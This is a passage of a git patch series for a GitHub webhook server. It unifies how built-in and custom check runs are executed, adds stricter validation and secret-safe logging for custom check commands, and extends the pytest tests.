not success: - output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) - return await self.check_run_handler.set_check_failure(name=PYTHON_MODULE_INSTALL_STR, output=output) - - rc, out, err = await run_command( - command=f"uvx pip wheel --no-cache-dir -w {worktree_path}/dist {worktree_path}", - log_prefix=self.log_prefix, - mask_sensitive=self.github_webhook.mask_sensitive, - ) - - output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) - - if rc: - return await self.check_run_handler.set_check_success(name=PYTHON_MODULE_INSTALL_STR, output=output) - - return await self.check_run_handler.set_check_failure(name=PYTHON_MODULE_INSTALL_STR, output=output) + cmd = "uvx pip wheel --no-cache-dir -w {worktree_path}/dist {worktree_path}" + check_config = CheckConfig(name=PYTHON_MODULE_INSTALL_STR, command=cmd, title="Python module installation") + await self.run_check(pull_request=pull_request, check_config=check_config) async def run_conventional_title_check(self, pull_request: PullRequest) -> None: if not self.github_webhook.conventional_title: @@ -489,6 +483,9 @@ async def run_custom_check( ) -> None: """Run a custom check defined in repository configuration. + This method wraps the unified run_check() method for custom checks. + Custom checks use cwd mode (execute command in worktree directory). + Note: name and command validation happens in GithubWebhook._validate_custom_check_runs() when custom checks are first loaded. Invalid checks are filtered out at that stage. """ @@ -496,42 +493,14 @@ async def run_custom_check( check_name = check_config["name"] command = check_config["command"] - self.logger.info(f"{self.log_prefix} Starting custom check: {check_config['name']}") - - await self.check_run_handler.set_check_in_progress(name=check_name) - - async with self._checkout_worktree(pull_request=pull_request) as ( - success, - worktree_path, - out, - err, - ): - output: dict[str, Any] = { - "title": f"Custom Check: {check_config['name']}", - "summary": "", - "text": None, - } - - if not success: - output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) - return await self.check_run_handler.set_check_failure(name=check_name, output=output) - - # Execute command in worktree directory - success, out, err = await run_command( - command=command, - log_prefix=self.log_prefix, - mask_sensitive=self.github_webhook.mask_sensitive, - cwd=worktree_path, - ) - - output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) - - if success: - self.logger.info(f"{self.log_prefix} Custom check {check_config['name']} completed successfully") - return await self.check_run_handler.set_check_success(name=check_name, output=output) - else: - self.logger.info(f"{self.log_prefix} Custom check {check_config['name']} failed") - return await self.check_run_handler.set_check_failure(name=check_name, output=output) + # Custom checks run with cwd set to worktree directory + unified_config = CheckConfig( + name=check_name, + command=command, + title=f"Custom Check: {check_name}", + use_cwd=True, + ) + await self.run_check(pull_request=pull_request, check_config=unified_config) async def is_branch_exists(self, branch: str) -> Branch: return await asyncio.to_thread(self.repository.get_branch, branch) diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index 40549de0..5fc7e18b 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -319,6 +319,7 @@ def runner_handler(self, mock_github_webhook: Mock) -> RunnerHandler: """Create a RunnerHandler instance with mocked dependencies.""" handler = RunnerHandler(mock_github_webhook) # Mock check_run_handler methods + handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) handler.check_run_handler.set_check_in_progress = AsyncMock() handler.check_run_handler.set_check_success = AsyncMock() handler.check_run_handler.set_check_failure = AsyncMock() @@ -482,6 +483,7 @@ def mock_pull_request(self) -> Mock: async def test_custom_checks_execution_workflow(self, mock_github_webhook: Mock, mock_pull_request: Mock) -> None: """Test complete workflow of custom check execution.""" runner_handler = RunnerHandler(mock_github_webhook) + runner_handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) runner_handler.check_run_handler.set_check_in_progress = AsyncMock() runner_handler.check_run_handler.set_check_success = AsyncMock() runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Mock output") @@ -550,6 +552,7 @@ async def test_retest_all_custom_checks(self, mock_github_webhook: Mock) -> None async def test_retest_custom_check_triggers_execution(self, mock_github_webhook: Mock) -> None: """Test that /retest custom:name triggers check execution.""" runner_handler = RunnerHandler(mock_github_webhook) + runner_handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) runner_handler.check_run_handler.set_check_in_progress = AsyncMock() runner_handler.check_run_handler.set_check_success = AsyncMock() runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Test output") @@ -842,6 +845,8 @@ async def test_no_custom_checks_configured(self, mock_github_webhook: Mock) -> N async def test_custom_check_timeout_expiration(self, mock_github_webhook: Mock) -> None: """Test that custom check respects timeout configuration.""" runner_handler = RunnerHandler(mock_github_webhook) + runner_handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) + runner_handler.check_run_handler.set_check_in_progress = AsyncMock() runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Timeout") mock_pull_request = Mock() @@ -874,6 +879,7 @@ async def test_custom_check_timeout_expiration(self, mock_github_webhook: Mock) async def test_custom_check_with_long_command(self, mock_github_webhook: Mock) -> None: """Test custom check with long multiline command from config.""" runner_handler = RunnerHandler(mock_github_webhook) + runner_handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) runner_handler.check_run_handler.set_check_in_progress = AsyncMock() runner_handler.check_run_handler.set_check_success = AsyncMock() runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Output") diff --git a/webhook_server/tests/test_runner_handler.py b/webhook_server/tests/test_runner_handler.py index a3f8a73f..0ec92acc 100644 --- a/webhook_server/tests/test_runner_handler.py +++ b/webhook_server/tests/test_runner_handler.py @@ -3,7 +3,7 @@ import pytest -from webhook_server.libs.handlers.runner_handler import RunnerHandler +from webhook_server.libs.handlers.runner_handler import CheckConfig, RunnerHandler from webhook_server.utils.constants import ( BUILD_CONTAINER_STR, CONVENTIONAL_TITLE_STR, @@ -1033,3 +1033,206 @@ async def test_run_build_container_prepare_failure( ) # Should NOT call run_podman_command (early return) mock_run_podman.assert_not_called() + + +class TestCheckConfig: + """Test suite for CheckConfig dataclass.""" + + def test_check_config_basic(self) -> None: + """Test CheckConfig with basic parameters.""" + config = CheckConfig(name="test-check", command="echo hello", title="Test Check") + assert config.name == "test-check" + assert config.command == "echo hello" + assert config.title == "Test Check" + assert config.use_cwd is False # Default value + + def test_check_config_with_use_cwd(self) -> None: + """Test CheckConfig with use_cwd enabled.""" + config = CheckConfig(name="custom", command="run test", title="Custom", use_cwd=True) + assert config.name == "custom" + assert config.use_cwd is True + + def test_check_config_immutable(self) -> None: + """Test that CheckConfig is immutable (frozen).""" + config = CheckConfig(name="test", command="cmd", title="Title") + with pytest.raises(AttributeError): + config.name = "new-name" # type: ignore[misc] + + def test_check_config_with_placeholder(self) -> None: + """Test CheckConfig with worktree_path placeholder.""" + config = CheckConfig( + name="tox", + command="tox --workdir {worktree_path} --root {worktree_path}", + title="Tox", + ) + # Verify placeholder can be formatted + formatted = config.command.format(worktree_path="/tmp/worktree") + assert formatted == "tox --workdir /tmp/worktree --root /tmp/worktree" + + +class TestRunCheck: + """Test suite for the unified run_check method.""" + + @pytest.fixture + def mock_github_webhook(self) -> Mock: + """Create a mock GithubWebhook instance.""" + mock_webhook = Mock() + mock_webhook.hook_data = {"action": "opened"} + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + mock_webhook.repository = Mock() + mock_webhook.clone_repo_dir = "/tmp/test-repo" + mock_webhook.mask_sensitive = True + mock_webhook.token = "test-token" + mock_webhook.ctx = None + return mock_webhook + + @pytest.fixture + def runner_handler(self, mock_github_webhook: Mock) -> RunnerHandler: + """Create a RunnerHandler instance with mocked dependencies.""" + handler = RunnerHandler(mock_github_webhook) + handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) + handler.check_run_handler.set_check_in_progress = AsyncMock() + handler.check_run_handler.set_check_success = AsyncMock() + handler.check_run_handler.set_check_failure = AsyncMock() + handler.check_run_handler.get_check_run_text = Mock(return_value="output text") + return handler + + @pytest.fixture + def mock_pull_request(self) -> Mock: + """Create a mock PullRequest instance.""" + mock_pr = Mock() + mock_pr.number = 123 + mock_pr.base = Mock() + mock_pr.base.ref = "main" + mock_pr.head = Mock() + mock_pr.head.ref = "feature-branch" + return mock_pr + + @pytest.mark.asyncio + async def test_run_check_success(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: + """Test run_check with successful command execution.""" + check_config = CheckConfig( + name="my-check", + command="echo {worktree_path}", + title="My Check", + ) + + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "success output", "")), + ) as mock_run, + ): + await runner_handler.run_check(pull_request=mock_pull_request, check_config=check_config) + + runner_handler.check_run_handler.set_check_in_progress.assert_called_once_with(name="my-check") + runner_handler.check_run_handler.set_check_success.assert_called_once() + # Verify command was formatted with worktree_path + mock_run.assert_called_once() + call_args = mock_run.call_args + assert call_args.kwargs["command"] == "echo /tmp/worktree" + + @pytest.mark.asyncio + async def test_run_check_failure(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: + """Test run_check with failed command execution.""" + check_config = CheckConfig( + name="failing-check", + command="false", + title="Failing Check", + ) + + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(False, "output", "error")), + ), + ): + await runner_handler.run_check(pull_request=mock_pull_request, check_config=check_config) + + runner_handler.check_run_handler.set_check_failure.assert_called_once() + + @pytest.mark.asyncio + async def test_run_check_checkout_failure(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: + """Test run_check when worktree checkout fails.""" + check_config = CheckConfig( + name="test-check", + command="echo test", + title="Test Check", + ) + + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(False, "", "checkout failed", "error")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm): + await runner_handler.run_check(pull_request=mock_pull_request, check_config=check_config) + + runner_handler.check_run_handler.set_check_failure.assert_called_once() + runner_handler.check_run_handler.set_check_success.assert_not_called() + + @pytest.mark.asyncio + async def test_run_check_with_cwd(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: + """Test run_check with use_cwd enabled.""" + check_config = CheckConfig( + name="cwd-check", + command="run-in-dir", # No placeholder - uses cwd + title="CWD Check", + use_cwd=True, + ) + + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "success", "")), + ) as mock_run, + ): + await runner_handler.run_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify cwd was passed to run_command + mock_run.assert_called_once() + call_args = mock_run.call_args + assert call_args.kwargs["cwd"] == "/tmp/worktree" + + @pytest.mark.asyncio + async def test_run_check_in_progress_rerun(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: + """Test run_check when check is already in progress.""" + runner_handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=True) + + check_config = CheckConfig( + name="rerun-check", + command="echo test", + title="Rerun Check", + ) + + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "success", "")), + ), + ): + await runner_handler.run_check(pull_request=mock_pull_request, check_config=check_config) + + # Should still run the check even if already in progress (log and re-run) + runner_handler.check_run_handler.set_check_in_progress.assert_called_once() + runner_handler.check_run_handler.set_check_success.assert_called_once() From b27635e152d9077dd59f5195d0b9b4c393cc404e Mon Sep 17 00:00:00 2001 From: rnetser Date: Tue, 13 Jan 2026 16:07:57 +0200 Subject: [PATCH 24/33] fix: address CodeRabbit review comments for custom check runs - Fix env-var command parsing and stop logging secrets (github_api.py) - Add CheckRunOutput TypedDict for type safety (check_run_handler.py) - Deduplicate required status checks (check_run_handler.py) - Fix cancellation handling with explicit status=completed (check_run_handler.py) - Add strict name validation for custom checks (github_api.py) - Conditional check queuing for disabled features (pull_request_handler.py) - Fix command substitution to use replace() instead of format() (runner_handler.py) - Wrap PyGithub access in asyncio.to_thread (runner_handler.py) - Use generator expression instead of list in any() (runner_handler.py) - Fix run_retests exception handling and CancelledError propagation (runner_handler.py) - Fix /retest custom: prefix normalization (issue_comment_handler.py) - Use tmp_path instead of hardcoded /tmp in tests - Add tests for env-var-prefixed commands - Update schema validation tests to use real validator - Remove duplicated patches in tests --- webhook_server/libs/github_api.py | 33 +- .../libs/handlers/check_run_handler.py | 33 +- .../libs/handlers/issue_comment_handler.py | 2 + .../libs/handlers/pull_request_handler.py | 22 +- .../libs/handlers/runner_handler.py | 20 +- .../tests/test_custom_check_runs.py | 287 +++++++++++++++--- .../tests/test_pull_request_handler.py | 5 - 7 files changed, 332 insertions(+), 70 deletions(-) diff --git a/webhook_server/libs/github_api.py b/webhook_server/libs/github_api.py index 98359590..eadc16dd 100644 --- a/webhook_server/libs/github_api.py +++ b/webhook_server/libs/github_api.py @@ -4,6 +4,7 @@ import contextlib import logging import os +import re import shlex import shutil import tempfile @@ -809,8 +810,15 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ BUILD_CONTAINER_STR, PYTHON_MODULE_INSTALL_STR, CONVENTIONAL_TITLE_STR, + CAN_BE_MERGED_STR, } + # Whitelist regex for safe check names: alphanumeric, dots, underscores, hyphens, 1-64 chars + safe_check_name_pattern = re.compile(r"^[a-zA-Z0-9._-]{1,64}$") + + # Regex to match env-var assignments (e.g., FOO=bar, MY_VAR=123) + env_assign_re = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=") + for check in raw_checks: # Validate name field check_name = check.get("name") @@ -818,6 +826,11 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ self.logger.warning("Custom check missing required 'name' field, skipping") continue + # Validate name contains only safe characters + if not safe_check_name_pattern.match(check_name): + self.logger.warning(f"Custom check name '{check_name}' contains unsafe characters, skipping") + continue + # Check for collision with built-in check names if check_name in BUILTIN_CHECK_NAMES: self.logger.warning(f"Custom check '{check_name}' conflicts with built-in check, skipping") @@ -835,14 +848,23 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ self.logger.warning(f"Custom check '{check_name}' missing required 'command' field, skipping") continue - # Extract the first word as the executable (handle multiline/complex commands) - command_stripped = command.strip() - executable = command_stripped.split()[0] + # Parse command safely using shlex to handle quoting + try: + tokens = shlex.split(command.strip(), posix=True) + except ValueError as ex: + self.logger.warning(f"Custom check '{check_name}' has invalid shell quoting ({ex}), skipping") + continue + + # Skip leading env-var assignments to find the real executable + executable = next((t for t in tokens if not env_assign_re.match(t)), "") + if not executable: + self.logger.warning(f"Custom check '{check_name}' has no executable, skipping") + continue # Check if executable exists on server if not shutil.which(executable): self.logger.warning( - f"Custom check '{check_name}' command executable '{executable}' not found on server. " + f"Custom check '{check_name}' executable '{executable}' not found on server. " f"Please open an issue to request adding this executable to the container, " f"or submit a PR to add it. Skipping check." ) @@ -850,7 +872,8 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ # Valid check - add to list validated_checks.append(check) - self.logger.debug(f"Validated custom check '{check_name}' with command '{command}'") + # Don't log raw command - may contain secrets. Only log executable name. + self.logger.debug(f"Validated custom check '{check_name}' (executable='{executable}')") # Summary logging for user visibility if validated_checks: diff --git a/webhook_server/libs/handlers/check_run_handler.py b/webhook_server/libs/handlers/check_run_handler.py index dce10060..d734bf2f 100644 --- a/webhook_server/libs/handlers/check_run_handler.py +++ b/webhook_server/libs/handlers/check_run_handler.py @@ -1,5 +1,5 @@ import asyncio -from typing import TYPE_CHECKING, Any +from typing import TYPE_CHECKING, Any, NotRequired, TypedDict from github.CheckRun import CheckRun from github.CommitStatus import CommitStatus @@ -28,6 +28,14 @@ from webhook_server.utils.context import WebhookContext +class CheckRunOutput(TypedDict, total=False): + """TypedDict for check run output parameter.""" + + title: str + summary: str + text: NotRequired[str | None] + + class CheckRunHandler: def __init__(self, github_webhook: "GithubWebhook", owners_file_handler: OwnersFileHandler | None = None): self.github_webhook = github_webhook @@ -100,7 +108,7 @@ async def process_pull_request_check_run_webhook_data(self, pull_request: PullRe self.ctx.complete_step("check_run_handler") return True - async def set_check_queued(self, name: str, output: dict[str, Any] | None = None) -> None: + async def set_check_queued(self, name: str, output: CheckRunOutput | None = None) -> None: """Set check run to queued status. Generic method for setting any check run (built-in or custom) to queued status. @@ -121,7 +129,7 @@ async def set_check_in_progress(self, name: str) -> None: """ await self.set_check_run_status(check_run=name, status=IN_PROGRESS_STR) - async def set_check_success(self, name: str, output: dict[str, Any] | None = None) -> None: + async def set_check_success(self, name: str, output: CheckRunOutput | None = None) -> None: """Set check run to success. Generic method for setting any check run (built-in or custom) to success status. @@ -132,7 +140,7 @@ async def set_check_success(self, name: str, output: dict[str, Any] | None = Non """ await self.set_check_run_status(check_run=name, conclusion=SUCCESS_STR, output=output) - async def set_check_failure(self, name: str, output: dict[str, Any] | None = None) -> None: + async def set_check_failure(self, name: str, output: CheckRunOutput | None = None) -> None: """Set check run to failure. Generic method for setting any check run (built-in or custom) to failure status. @@ -148,7 +156,7 @@ async def set_check_run_status( check_run: str, status: str = "", conclusion: str = "", - output: dict[str, Any] | None = None, + output: CheckRunOutput | None = None, ) -> None: kwargs: dict[str, Any] = {"name": check_run, "head_sha": self.github_webhook.last_commit.sha} @@ -157,6 +165,7 @@ async def set_check_run_status( if conclusion: kwargs["conclusion"] = conclusion + kwargs["status"] = "completed" # Explicitly set status when conclusion is provided if output: kwargs["output"] = output @@ -164,15 +173,20 @@ async def set_check_run_status( msg: str = f"{self.log_prefix} check run {check_run} status: {status or conclusion}" try: - self.logger.debug(f"{self.log_prefix} Set check run status with {kwargs}") + self.logger.debug( + f"{self.log_prefix} Setting check run for {check_run}, status={status}, conclusion={conclusion}" + ) await asyncio.to_thread(self.github_webhook.repository_by_github_app.create_check_run, **kwargs) if conclusion in (SUCCESS_STR, IN_PROGRESS_STR): self.logger.info(msg) return - except Exception as ex: - self.logger.debug(f"{self.log_prefix} Failed to set {check_run} check to {status or conclusion}, {ex}") + except asyncio.CancelledError: + raise # Always re-raise CancelledError + except Exception: + self.logger.exception(f"{self.log_prefix} Failed to set check run status for {check_run}") kwargs["conclusion"] = FAILURE_STR + kwargs["status"] = "completed" await asyncio.to_thread(self.github_webhook.repository_by_github_app.create_check_run, **kwargs) def get_check_run_text(self, err: str, out: str) -> str: @@ -366,7 +380,8 @@ async def all_required_status_checks(self, pull_request: PullRequest) -> list[st check_name = custom_check["name"] all_required_status_checks.append(check_name) - _all_required_status_checks = branch_required_status_checks + all_required_status_checks + # Use ordered deduplication to combine branch and config checks without duplicates + _all_required_status_checks = list(dict.fromkeys(branch_required_status_checks + all_required_status_checks)) self.logger.debug(f"{self.log_prefix} All required status checks: {_all_required_status_checks}") self._all_required_status_checks = _all_required_status_checks return _all_required_status_checks diff --git a/webhook_server/libs/handlers/issue_comment_handler.py b/webhook_server/libs/handlers/issue_comment_handler.py index b5dbb291..c37e85a0 100644 --- a/webhook_server/libs/handlers/issue_comment_handler.py +++ b/webhook_server/libs/handlers/issue_comment_handler.py @@ -397,6 +397,8 @@ async def process_retest_command( return _target_tests: list[str] = command_args.split() + # Strip "custom:" prefix if present (users may type "/retest custom:lint" but we expect "lint") + _target_tests = [t[7:] if t.startswith("custom:") else t for t in _target_tests] self.logger.debug(f"{self.log_prefix} Target tests for re-test: {_target_tests}") _not_supported_retests: list[str] = [] _supported_retests: list[str] = [] diff --git a/webhook_server/libs/handlers/pull_request_handler.py b/webhook_server/libs/handlers/pull_request_handler.py index 33c78a19..529c7c29 100644 --- a/webhook_server/libs/handlers/pull_request_handler.py +++ b/webhook_server/libs/handlers/pull_request_handler.py @@ -9,7 +9,7 @@ from github.PullRequest import PullRequest from github.Repository import Repository -from webhook_server.libs.handlers.check_run_handler import CheckRunHandler +from webhook_server.libs.handlers.check_run_handler import CheckRunHandler, CheckRunOutput from webhook_server.libs.handlers.labels_handler import LabelsHandler from webhook_server.libs.handlers.owners_files_handler import OwnersFileHandler from webhook_server.libs.handlers.runner_handler import RunnerHandler @@ -631,10 +631,20 @@ async def process_opened_or_synchronize_pull_request(self, pull_request: PullReq ) setup_tasks.append(self.label_pull_request_by_merge_state(pull_request=pull_request)) setup_tasks.append(self.check_run_handler.set_check_queued(name=CAN_BE_MERGED_STR)) - setup_tasks.append(self.check_run_handler.set_check_queued(name=TOX_STR)) - setup_tasks.append(self.check_run_handler.set_check_queued(name=PRE_COMMIT_STR)) - setup_tasks.append(self.check_run_handler.set_check_queued(name=PYTHON_MODULE_INSTALL_STR)) - setup_tasks.append(self.check_run_handler.set_check_queued(name=BUILD_CONTAINER_STR)) + + # Only queue built-in checks when their corresponding feature is enabled + if self.github_webhook.tox: + setup_tasks.append(self.check_run_handler.set_check_queued(name=TOX_STR)) + + if self.github_webhook.pre_commit: + setup_tasks.append(self.check_run_handler.set_check_queued(name=PRE_COMMIT_STR)) + + if self.github_webhook.pypi: + setup_tasks.append(self.check_run_handler.set_check_queued(name=PYTHON_MODULE_INSTALL_STR)) + + if self.github_webhook.build_and_push_container: + setup_tasks.append(self.check_run_handler.set_check_queued(name=BUILD_CONTAINER_STR)) + setup_tasks.append(self._process_verified_for_update_or_new_pull_request(pull_request=pull_request)) setup_tasks.append(self.labels_handler.add_size_label(pull_request=pull_request)) setup_tasks.append(self.add_pull_request_owner_as_assingee(pull_request=pull_request)) @@ -964,7 +974,7 @@ async def check_if_can_be_merged(self, pull_request: PullRequest) -> None: self.ctx.complete_step("check_merge_eligibility", can_merge=False, reason="already_merged") return - output = { + output: CheckRunOutput = { "title": "Check if can be merged", "summary": "", "text": None, diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index a5f714c9..583f525f 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -13,7 +13,7 @@ from github.PullRequest import PullRequest from github.Repository import Repository -from webhook_server.libs.handlers.check_run_handler import CheckRunHandler +from webhook_server.libs.handlers.check_run_handler import CheckRunHandler, CheckRunOutput from webhook_server.libs.handlers.owners_files_handler import OwnersFileHandler from webhook_server.utils import helpers as helpers_module from webhook_server.utils.constants import ( @@ -209,7 +209,7 @@ async def run_check(self, pull_request: PullRequest, check_config: CheckConfig) await self.check_run_handler.set_check_in_progress(name=check_config.name) async with self._checkout_worktree(pull_request=pull_request) as (success, worktree_path, out, err): - output: dict[str, Any] = { + output: CheckRunOutput = { "title": check_config.title, "summary": "", "text": None, @@ -221,7 +221,8 @@ async def run_check(self, pull_request: PullRequest, check_config: CheckConfig) return await self.check_run_handler.set_check_failure(name=check_config.name, output=output) # Build command with worktree path substitution - cmd = check_config.command.format(worktree_path=worktree_path) + # Use replace() instead of format() to avoid KeyError on other braces in user commands + cmd = check_config.command.replace("{worktree_path}", worktree_path) self.logger.debug(f"{self.log_prefix} {check_config.name} command to run: {cmd}") # Execute command - use cwd if configured, otherwise command should include paths @@ -250,7 +251,9 @@ async def run_tox(self, pull_request: PullRequest) -> None: python_ver = ( f"--python={self.github_webhook.tox_python_version}" if self.github_webhook.tox_python_version else "" ) - _tox_tests = self.github_webhook.tox.get(pull_request.base.ref, "") + # Wrap PyGithub property access in asyncio.to_thread to avoid blocking + base_ref = await asyncio.to_thread(lambda: pull_request.base.ref) + _tox_tests = self.github_webhook.tox.get(base_ref, "") # Build tox command with {worktree_path} placeholder cmd = f"uvx {python_ver} {TOX_STR} --workdir {{worktree_path}} --root {{worktree_path}} -c {{worktree_path}}" @@ -330,7 +333,7 @@ async def run_build_container( podman_build_cmd: str = f"podman build {build_cmd}" self.logger.debug(f"{self.log_prefix} Podman build command to run: {podman_build_cmd}") - output: dict[str, Any] = { + output: CheckRunOutput = { "title": "Build container", "summary": "", "text": None, @@ -418,7 +421,7 @@ async def run_conventional_title_check(self, pull_request: PullRequest) -> None: if not self.github_webhook.conventional_title: return - output: dict[str, str] = { + output: CheckRunOutput = { "title": "Conventional Title", "summary": "PR title follows Conventional Commits format", "text": ( @@ -436,7 +439,8 @@ async def run_conventional_title_check(self, pull_request: PullRequest) -> None: title = pull_request.title self.logger.debug(f"{self.log_prefix} Conventional title check for title: {title}, allowed: {allowed_names}") - if any([re.match(rf"^{re.escape(_name)}(\([^)]+\))?!?: .+", title) for _name in allowed_names]): + # Use generator expression instead of list comprehension inside any() for efficiency + if any(re.match(rf"^{re.escape(_name)}(\([^)]+\))?!?: .+", title) for _name in allowed_names): await self.check_run_handler.set_check_success(name=CONVENTIONAL_TITLE_STR, output=output) else: output["title"] = "❌ Conventional Title" @@ -538,7 +542,7 @@ async def cherry_pick(self, pull_request: PullRequest, target_branch: str, revie f"into {target_branch}' -m 'requested-by {requested_by}'\"", ] - output = { + output: CheckRunOutput = { "title": "Cherry-pick details", "summary": "", "text": None, diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index 5fc7e18b..d022e8d5 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -21,7 +21,7 @@ import pytest from webhook_server.libs.github_api import GithubWebhook -from webhook_server.libs.handlers.check_run_handler import CheckRunHandler +from webhook_server.libs.handlers.check_run_handler import CheckRunHandler, CheckRunOutput from webhook_server.libs.handlers.pull_request_handler import PullRequestHandler from webhook_server.libs.handlers.runner_handler import RunnerHandler from webhook_server.utils.constants import ( @@ -33,7 +33,19 @@ class TestCustomCheckRunsSchemaValidation: - """Test suite for custom check runs schema validation.""" + """Test suite for custom check runs schema validation. + + These tests use the production validator (GithubWebhook._validate_custom_check_runs) + to ensure configurations are validated correctly against the schema rules. + """ + + @pytest.fixture + def mock_github_webhook(self) -> Mock: + """Create a mock GithubWebhook instance for validation testing.""" + mock_webhook = Mock() + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + return mock_webhook @pytest.fixture def valid_custom_check_config(self) -> dict[str, Any]: @@ -51,25 +63,90 @@ def minimal_custom_check_config(self) -> dict[str, Any]: "command": "uv tool run --from pytest pytest", } - def test_valid_custom_check_config(self, valid_custom_check_config: dict[str, Any]) -> None: - """Test that valid custom check configuration is accepted.""" - # This test verifies the structure matches schema expectations - assert valid_custom_check_config["name"] == "my-custom-check" - assert valid_custom_check_config["command"] == "uv tool run --from ruff ruff check" + def test_valid_custom_check_config( + self, mock_github_webhook: Mock, valid_custom_check_config: dict[str, Any] + ) -> None: + """Test that valid custom check configuration passes validation.""" + raw_checks = [valid_custom_check_config] - def test_minimal_custom_check_config(self, minimal_custom_check_config: dict[str, Any]) -> None: - """Test that minimal custom check configuration is accepted.""" - assert minimal_custom_check_config["name"] == "minimal-check" - assert minimal_custom_check_config["command"] == "uv tool run --from pytest pytest" + # Mock shutil.which to simulate finding the executable + with patch("shutil.which", return_value="/usr/bin/uv"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) - def test_custom_check_with_multiline_command(self) -> None: - """Test that custom check with multiline command is accepted.""" + # Validation should pass + assert len(validated) == 1 + assert validated[0]["name"] == "my-custom-check" + assert validated[0]["command"] == "uv tool run --from ruff ruff check" + + def test_minimal_custom_check_config( + self, mock_github_webhook: Mock, minimal_custom_check_config: dict[str, Any] + ) -> None: + """Test that minimal custom check configuration passes validation.""" + raw_checks = [minimal_custom_check_config] + + # Mock shutil.which to simulate finding the executable + with patch("shutil.which", return_value="/usr/bin/uv"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Validation should pass + assert len(validated) == 1 + assert validated[0]["name"] == "minimal-check" + + def test_custom_check_with_multiline_command(self, mock_github_webhook: Mock) -> None: + """Test that custom check with multiline command passes validation.""" config = { "name": "complex-check", "command": "python -c \"\nimport sys\nprint('Running check')\nsys.exit(0)\n\"", } - assert "python" in config["command"] - assert "\n" in config["command"] + raw_checks = [config] + + # Mock shutil.which to simulate finding python + with patch("shutil.which", return_value="/usr/bin/python"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Validation should pass - python is extracted as the executable + assert len(validated) == 1 + assert validated[0]["name"] == "complex-check" + assert "\n" in validated[0]["command"] + + def test_custom_check_with_mandatory_option(self, mock_github_webhook: Mock) -> None: + """Test that custom check with mandatory=true/false passes validation.""" + raw_checks = [ + {"name": "mandatory-check", "command": "echo test", "mandatory": True}, + {"name": "optional-check", "command": "echo test", "mandatory": False}, + ] + + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Both should pass validation (mandatory is not validated by _validate_custom_check_runs) + assert len(validated) == 2 + assert validated[0]["mandatory"] is True + assert validated[1]["mandatory"] is False + + def test_invalid_config_missing_name(self, mock_github_webhook: Mock) -> None: + """Test that config missing 'name' field fails validation.""" + raw_checks = [{"command": "echo test"}] + + with patch("shutil.which", 